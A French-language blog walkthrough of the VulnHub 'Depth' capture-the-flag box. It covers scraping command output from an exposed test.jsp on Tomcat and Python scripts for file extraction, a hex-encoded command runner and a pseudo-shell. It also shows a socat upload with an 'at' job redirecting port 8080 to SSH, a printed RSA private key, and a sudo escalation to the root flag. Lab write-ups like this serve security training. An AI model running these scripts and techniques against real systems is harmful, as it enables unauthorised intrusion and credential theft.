Tu dois avoir le cul qui brille mais c’est pas ça qu’on appelle la classe
Récemment je me suis penché sur deux nouveaux CTF en provenance directe de VulnHub : Depth et Homeless.
Les deux sont présentés comme ayant un niveau difficile ou intermédiaire. Pour ce qui est du second je me demande simplement s’il n’y a pas une erreur dans le CTF mais c’est une autre histoire.
C’est donc bien du Depth qu’il va s’agir ici. Et comme il se base sur un cas réel ça devrait être intéressant (je dis intéressant parce que j’aime pas les mots anglais comme fun, ça fait un peu destroy).
George est un fasciste de merde
Un scan sur notre cible ne nous apporte pas grand chose : un port 8080 ouvert et tous les autres sont filtrés.
Le module Nikto présent dans Wapiti permet de remonter quelques URLs intéressantes :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[*] Launching module nikto
---
Appears to be a default Apache Tomcat install.
http://192.168.0.18:8080/
---
---
Default Tomcat Manager interface found
http://192.168.0.18:8080/manager/html
---
---
This might be interesting...
http://192.168.0.18:8080/test.jsp
Références
http://osvdb.org/show/osvdb/3092
---
La page d’index correspond à la page par défaut de Tomcat mais le script test.jsp semble permettre l’exécution de commande.
Cela dis l’exploitation est rendu compliquée par le fait que l’output de la commande exécutée est découpé en colonnes et que seules certaines colonnes sont affichées.
Malgré cela en fouillant dans les pages de manuel des commandes système on peut trouver différentes astuces pour remonter d’autres infos.
Par exemple la commande ls -ois permet un affichage permettant d’obtenir les permissions.
ls -l /proc/sys/net/ipv4/conf/ permet de connaître le nom de l’interface réseau.
On encore ip -d link permet de récupérer l’adresse MAC de la machine virtuelle et donc de calculer son adresse IPv6 link-local.
Mais la machine s’avère être bien filtrée en entrée comme en sortie. Impossible d’y accéder en IPv6 ou de trouver le moindre port pour s’échapper (on peut utiliser netcat qui est présent et ses options -z et -w 1 pour tenter de trouver un port de sortie autorisé).
Comment exfiltrer des données ? Dans un premier temps je me suis tourné vers l’exfiltration des fichiers.
Avec hexdump -v -x on peut afficher un fichier sous cette forme (ici avec le début de /etc/services) :
1
2
3
4
5
6
7
8
9
10
0000000 2023 654e 7774 726f 206b 6573 7672 6369
0000010 7365 202c 6e49 6574 6e72 7465 7320 7974
0000020 656c 230a 230a 4e20 746f 2065 6874 7461
0000030 6920 2074 7369 7020 6572 6573 746e 796c
0000040 7420 6568 7020 6c6f 6369 2079 666f 4920
0000050 4e41 2041 6f74 6120 7373 6769 206e 2061
0000060 6973 676e 656c 7720 6c65 2d6c 6e6b 776f
0000070 0a6e 2023 6f70 7472 6e20 6d75 6562 2072
0000080 6f66 2072 6f62 6874 5420 5043 6120 646e
0000090 5520 5044 203b 6568 636e 2c65 6f20 6666
La première colonne représente l’offset des données dans le fichier. Les autres colonnes sont deux octets sous forme hexadécimale.
Comme on l’a vu précédemment, seules certaines colonnes sont affichées par le script, on aurait donc alors quelque chose comme cela :
1
2
3
4
X 1 [2] [3] [4] 5 6 7 [8]
X 9 [10] [11] [12] 13 14 15 [16]
X 17 [18] [19] [20] 21 22 23 [24]
X 25 [26] [27] [28] 29 30 31 [32]
Avec entre crochets les octets récupérables.
Moyennant un autre hexdump avec un décalage (option -s) on peut compléter :
1
2
3
X 4 [5] [6] [7] 8 9 10 [11]
X 12 [13] [14] [15] 16 17 18 [19]
X 20 [21] [22] [23] 24 25 26 [27]
On s’aperçoit tout de même qu’il faut un appel à hexdump de plus pour obtenir une colonne (les index 9, 17, 25, etc).
J’ai écrit un script baptisé dump_file.py permettant de reconstruire un fichier texte via les trois appels à hexdump appelés depuis test.jsp :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import sys
from urllib.parse import quote
from binascii import unhexlify
from subprocess import check_output, getoutput
import requests
from bs4 import BeautifulSoup
URL = "http://192.168.1.10:8080/test.jsp?path={}"
filename = sys.argv[1]
def exec(cmd):
url = URL.format(quote(cmd))
response = requests.get(url)
soup = BeautifulSoup(response.text, "lxml")
infos = []
for i, row in enumerate(soup.select_one("table:nth-of-type(2)").find_all("tr")):
if i == 0:
continue
columns = []
for column in row.find_all("td"):
columns.append(column.text.strip())
infos.append(columns)
return infos
def get_size(filename):
return int(exec("ls -l {}".format(filename))[0][2])
def reconstruct(dest, hexdump1, hexdump2, hexdump3):
dest[0] = ord('?')
dest[1] = ord('?')
for i, row in enumerate(hexdump1):
for j, column in enumerate(row):
if j in (0, 1, 2):
index = i*16 + j*2 + 2
dest[index] = int(column[2:], 16)
dest[index+1] = int(column[:2], 16)
else:
index = i*16 + 14
dest[index] = int(column[2:], 16)
dest[index+1] = int(column[:2], 16)
for i, row in enumerate(hexdump2):
for j, column in enumerate(row):
if j in (0, 1, 2):
index = i*16 + j*2 + 8
dest[index] = int(column[2:], 16)
dest[index+1] = int(column[:2], 16)
else:
index = i*16 + 20
dest[index] = int(column[2:], 16)
dest[index+1] = int(column[:2], 16)
for i, row in enumerate(hexdump3):
for j, column in enumerate(row):
if j == 0:
index = i*16 + 16
dest[index] = int(column[2:], 16)
dest[index+1] = int(column[:2], 16)
def dump(filename):
try:
size = get_size(filename)
except IndexError:
print("Get get size of file {}".format(filename))
else:
data = bytearray(size + 10)
reconstruct(
data,
exec("hexdump -v -x {}".format(filename)),
exec("hexdump -v -x -s 6 {}".format(filename)),
exec("hexdump -v -x -s 14 {}".format(filename))
)
print(data.strip(b'\0')[2:].decode())
def test_reconstruct():
output1 = check_output(["hexdump", "-v", "-x", "/etc/services"]).decode()
output2 = check_output(["hexdump", "-v", "-x", "-s", "6", "/etc/services"]).decode()
output3 = check_output(["hexdump", "-v", "-x", "-s", "14", "/etc/services"]).decode()
hexdump1 = []
hexdump2 = []
hexdump3 = []
for line in output1.splitlines():
if line:
row = []
for i, hex_string in enumerate(line.split()):
if i in (2, 3, 4, 8):
row.append(hex_string)
hexdump1.append(row)
for line in output2.splitlines():
if line:
row = []
for i, hex_string in enumerate(line.split()):
if i in (2, 3, 4, 8):
row.append(hex_string)
hexdump2.append(row)
for line in output3.splitlines():
if line:
row = []
for i, hex_string in enumerate(line.split()):
if i in (2, 3, 4, 8):
row.append(hex_string)
hexdump3.append(row)
data = bytearray(19605 + 10)
reconstruct(data, hexdump1, hexdump2, hexdump3)
data = data.strip(b"\0")[2:]
with open("/etc/services") as fd:
assert fd.read()[2:] == data.decode()
dump(filename)
Il y a une fonction de test qui m’a permis de vérifier la bonne exécution en local.
On aurait pu penser alors que le fichier /etc/tomcat8/tomcat-users.xml contiennent des identifiants pour l’accès manager… mais ce n’est pas le cas.
A ce stade je note la présence de trois users sur le système :
1
2
3
pollinate:x:111:1::/var/cache/pollinate:/bin/false
tomcat8:x:112:115::/usr/share/tomcat8:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bash
Comme on s’y attend on a les privilèges tomcat8 (il suffit de faire un touch suivi d’un ls pour s’en rendre compte).
J’ai continué à fouiller mais le plus intéressant que j’ai trouvé c’est une paire clé publique/privée SSH dans /usr/share/tomcat8/.ssh (via un find / -user tomcat8 -ls des familles)
Il parait que t’as des propos intolérables, où il n’y a pas de tolérance
Bon c’est pas mal mais sans exécution de commande plus poussée on ne va pas bien loin.
En dehors du problème de colonnes mentionné plus haut, le script n’est pas vraiment bash-aware et semble plus exécuter les commandes via execve que par un bash -c. En gros on oublie les redirections, les pipe, les backticks, les points virgules et autres joyeusetés…
Idem pour les quotes, double-quotes… bref c’est intolérable !
Ce n’est pas la première fois que je croise une situation comme ça mais là il était tant de faire quelque chose ! En mode Python s’il vous plait !
J’ai donc d’abord écrit le script write_to_file.py qui permet d’utiliser les fonctions de base de Python pour écrire un fichier sur le serveur :
1
2
3
4
5
6
7
8
9
10
11
12
import sys
if len(sys.argv) < 3:
print("Usage: {} local_file server_file"()
def to_chr(data):
return "+".join(["chr({})".format(ord(c)) for c in data])
text = open(sys.argv[1]).read()
dest = sys.argv[2]
print("open({},chr(119)).write({})".format(to_chr(dest), to_chr(text)))
et dans un deuxième temps un script pyexec.py qui prend en argument une chaîne hexa, la décode et exécute la commande bash obtenue en prenant soin de sortir chaque ligne d’output sur la dernière colonne :
1
2
3
4
5
6
7
8
from subprocess import getoutput
from binascii import unhexlify
import sys
cmd = unhexlify(sys.argv[1]).decode()
x = getoutput(cmd).splitlines()
for l in x:
print("a b c d e f g h "+l)
Si je peux uploader pyexec.py sur le serveur je le converti avec write_to_file.py :
1
python write_to_file.py pyexec.py /tmp/pyexec.py
Ce qui donne un output de ce style :
1
open(chr(47)+chr(116)+chr(109)+...+chr(121),chr(119)).write(chr(102)+chr(114)+...+chr(10))
Il suffit d’appeler python3 -c suivi de la chaîne obtenue dans le script JSP et voilà !
Maintenant je peux passer des commandes avec autant de redirections, pipe et compagnie que je le souhaite, il suffit de les passer hex-encodés à pyexec :
1
python3 /tmp/pyexec.py 6c73202d6c
C’est ça, la puissance intellectuelle. Bac + 2, les enfants.
Le dernier script pour clôturer tout ça c’est comme souvent un REPL qui permet d’avoir un semblant d’interactivité avec le serveur :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import sys
from urllib.parse import quote
from binascii import hexlify
import requests
from bs4 import BeautifulSoup
URL = "http://192.168.1.10:8080/test.jsp?path=python3+/tmp/pyexec.py+{}"
while True:
try:
cmd = input("$ ").strip()
except EOFError:
break
if cmd.lower() in ("quit", "exit"):
break
url = URL.format(hexlify(cmd.encode()).decode())
response = requests.get(url)
soup = BeautifulSoup(response.text, "lxml")
infos = []
for i, row in enumerate(soup.select_one("table:nth-of-type(2)").find_all("tr")):
if i == 0:
continue
for j, column in enumerate(row.find_all("td")):
if j == 3:
print(column.text.strip())
Ça permet d’avoir par exemple des infos sur la machine :
1
Linux b2r 4.10.0-35-generic #39-Ubuntu SMP Wed Sep 13 07:46:59 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
ou afficher plus proprement la clé privée SSH :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ cat /usr/share/tomcat8/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAsz1zJbcdpjsIoSvCrXi5Al+5oAk47QF27wZWTKEsSkM4RYp8
+5cnYClmKb800MdSHjcYpQyne9jCM9F7JxO+MDmjLdZsQzPR/y7Sxb9isi9kffeP
4dShapo1f1T+QBktoF+XzI8XIhj3QWHEohA6J6jX5+OfVfZ3FjaZ7iNT/nv45rsF
L47KBM4rhyRavoSTW4vpyJCt9uXKx4zlqSpZ4u9pkgauZihTtit0I8Jvxg9pobbO
EFom1kv359o9MpOv13VEl1MBORrUz4/c/WjDLIP6Yj+XrKLGmKUhvdCk7hc33p9/
yfMD+m/XCw2ygQNywY/J/kdHtykYHCvWUVuC9wIDAQABAoIBAH0lRIZqyhrMUQQn
B7ATACn2KCbjCYoBYccWB59NUR0wvdNgFE+dg/KSNTCkvf2fjWhnU5+5rB6+gymm
83OfR0VomNRiSAjL361qReOn8wMyL9n7xcwJqAJEVWHoN/UNH1xAIj7DEYXPJKPT
3XTCG7ihHM5dkVx1z0QFL4ijxfuB6wSck7p560m1rri8WN9kKymBNC5KDFVHP2P7
+UU6OSjv728TWdMKoOhrT/XYLKusDEpqVOyEXvpYWGUj3l8Zv4tF5f6Fgmb9+Wto
ZJ+xwOYn9yO4VRXpACPV/GYYhq7BZLKReV89z8sJdZMCD19xmHvDsXpuLk3wceGb
T5EcIAECgYEA7CW8uErLewSsuZ9BVxQIbTKPPVxVqUSW+x7NojoOjsX/FIjdTVYt
ytnBW1Njv7ODcR7EicMe4giU/afcFfFeOHbRm+MwloGhgUG2lIXrHOhsZXDgo4aU
czLiEY5AqO+PyBx0xcQkxm7tSzBkB92buAcbzO+2vGcdF+BlP9gnqAECgYEAwk76
Bi655lOhhsWB3Bz9jNt6B22d4i5pJaRdTiWKsDrXd6wVq3U3hxwO1bpFLzp/7mes
ryp7Q2DnEKSEF4z7bH7rsEmjMHk8p9uU9gYEnIsBS/IUK82Jc9pdbfOgm3farUQp
yX5UhHU/VwbfrNhqKGut7lHkfk9fD2IukxeIavcCfxyYdUHbzMgYyNGxdzgUNPEE
LlQ/2h+lLqM6F6yNWzXuw/S4nhO/W8w0kjV845dTJZeNIj+MYTD92QzeRshhcgdk
W/2EhV20VNpSGsnhbZcSjg26nXkv0sogXz/A+hN67u5Mg9du6QUeaZ2xPmu1aiXe
tn8aiAZIdj1t7tTMWAECgYBAkmRON6r5muM72VjtYAj2jV1BKLFmH8w7gSKsvJcZ
N4SxNVPCNeLtGGrppcwmBMfM31EoqPJrksFW64UmGmjXRlpmrCH6EuAQXE1lcNyJ
dTxKE7mWUOiTwoZ36pV99NeL6vIEDuJhXmFdN2CPnR+yLQ6Q+0/2lcPeZd9abGCe
QwKBgQCvMdrd5fX7Oh6gVmwcYCXlleuuJLqM+wQwGca1up9io3hIHX9A26FhGvIp
hpaPRdP4pRyqi1xOY/eSl7UCEtbnv0oB79em+c6tvfaGcJIQL3ENCuD6/nUcPiap
lXn3A5a1JxppcCJNePhYIqBoCGKYWDq9Q3wBcQMIf+fcZjzGsg==
-----END RSA PRIVATE KEY-----
Malgré tout ça, rien de bien particulier à ce mettre sous la dents : pas de setuid inhabituels, pas de crontab faillibles, pas de permissions faibles, quand aux fichiers dans /etc/tomcat8/ on ne peut les consulter qu’en lecture !
Il y a tout de même l’utilisateur bill qui sent bon la poudre :
1
2
$ id bill
uid=1000(bill) gid=1000(bill) groups=1000(bill),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lxd),116(lpadmin),117(sambashare)
Et surtout le fait que le process Java du tomcat tourne avec nos droits (tomcat8)…
Si seulement on pouvait stopper ce process pour récupérer le seul port ouvert (8080) et mettre en place une redirection vers le port 22 (en écoute sur 127.0.0.1)… et bien on avancerait peut être quelque part :D
D’abord j’ai fait un dernier script Python (demain j’arrête) pour uploader des fichiers :
1
2
3
4
5
6
7
8
9
10
11
from binascii import hexlify
import requests
URL = "http://192.168.1.10:8080/test.jsp?path=python3+/tmp/pyexec.py+{}"
sess = requests.session()
with open("socat_base64") as fd:
for line in fd:
line = line.strip()
cmd = "echo -n {} >> /tmp/socat_base64".format(line)
sess.get(URL.format(hexlify(cmd.encode()).decode()))
L’idée ici est d’abord d’encoder en local (sur la machine d’attaque) le binaire socat en base64 puis de le recréer côté serveur ligne par ligne. Une fois terminé on décode le base64 côté serveur pour récupérer le socat original. Une astuce que j’avais utilisé pour un précédent CTF.
Maintenant la problématique est de faire exécuter une série de commande via le serveur Tomcat dont la première commande tue le serveur mais qui doit tout de même exécuter les commandes restantes…
crontab pourrait le faire mais il faut éditer un fichier… et at est présent sur le système. C’est donc aussi simple que :
1
echo 'kill -9 1415; sleep 5; /tmp/socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:127.0.0.1:22' | at now + 1 minutes
On attend un peu, on se connecte via SSH sur le port 8080… et ça marche !
Le train de tes injures roule sur le rail de mon indifférence
Sauf que le shell pour tomcat8 est /bin/false donc on ne va pas bien loin :D
A moins que bien sûr la clé SSH ait été réutilisée pour l’utilisateur bill :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ ssh -i /tmp/tomcat8_key bill@192.168.1.10 -p 8080
Welcome to Ubuntu 17.04 (GNU/Linux 4.10.0-35-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* What are your preferred Linux desktop apps? Help us set the default
desktop apps in Ubuntu 18.04 LTS:
- https://ubu.one/apps1804
0 packages can be updated.
0 updates are security updates.
Failed to connect to http://changelogs.ubuntu.com/meta-release. Check your Internet connection or proxy settings
Last login: Thu Oct 12 14:31:03 2017
bill@b2r:~$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lxd),116(lpadmin),117(sambashare)
bill@b2r:~$ sudo -l
Matching Defaults entries for bill on b2r:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bill may run the following commands on b2r:
(ALL : ALL) NOPASSWD: ALL
bill@b2r:~$ sudo ls /root
flag
bill@b2r:~$ sudo cat /root/flag
flag{WellThatWasEasy}
Ouiche Loraine
Finalement terminé ce CTF très sympa qui m’aura permis de trouver quelques astuces supplémentaires :)
Published February 02 2018 at 22:00